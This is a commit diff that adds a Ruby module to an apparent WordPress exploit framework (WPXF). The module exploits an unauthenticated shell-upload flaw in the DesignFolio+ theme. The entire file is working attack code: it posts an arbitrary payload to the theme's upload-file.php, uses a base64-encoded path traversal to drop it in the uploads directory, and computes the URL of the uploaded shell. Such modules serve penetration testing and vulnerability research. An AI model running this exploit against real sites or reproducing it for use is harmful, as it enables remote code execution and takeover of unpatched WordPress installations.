Add DesignFolio+ unauthenticated shell upload

Author: rastating

modules/exploits/designfolio_plus_shell_upload.rb

@@ -0,0 +1,48 @@
+require 'socket'
+
+class Wpxf::Exploit::DesignfolioPlusShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'DesignFolio+ Theme Unauthenticated Shell Upload',
+      author: [
+        'CrashBandicot',                  # Vulnerability disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '7880'],
+        ['EDB', '36372']
+      ],
+      date: 'Mar 04 2015'
+    )
+  end
+
+  def check
+    check_theme_version_from_readme('designfolio-plus')
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_themes, 'designfolio-plus', 'admin', 'upload-file.php')
+  end
+
+  def encoded_relative_path_to_uploads
+    Base64.strict_encode64('../../../uploads')
+  end
+
+  def payload_body_builder
+    target_ip = IPSocket.getaddress(target_host)
+    field_name = Utility::Text.md5(target_ip)
+
+    builder = Utility::BodyBuilder.new
+    builder.add_file_from_string(field_name, payload.encoded, payload_name)
+    builder.add_field('upload_path', encoded_relative_path_to_uploads)
+    builder
+  end
+
+  def uploaded_payload_location
+    normalize_uri(wordpress_url_uploads, payload_name.downcase)
+  end
+end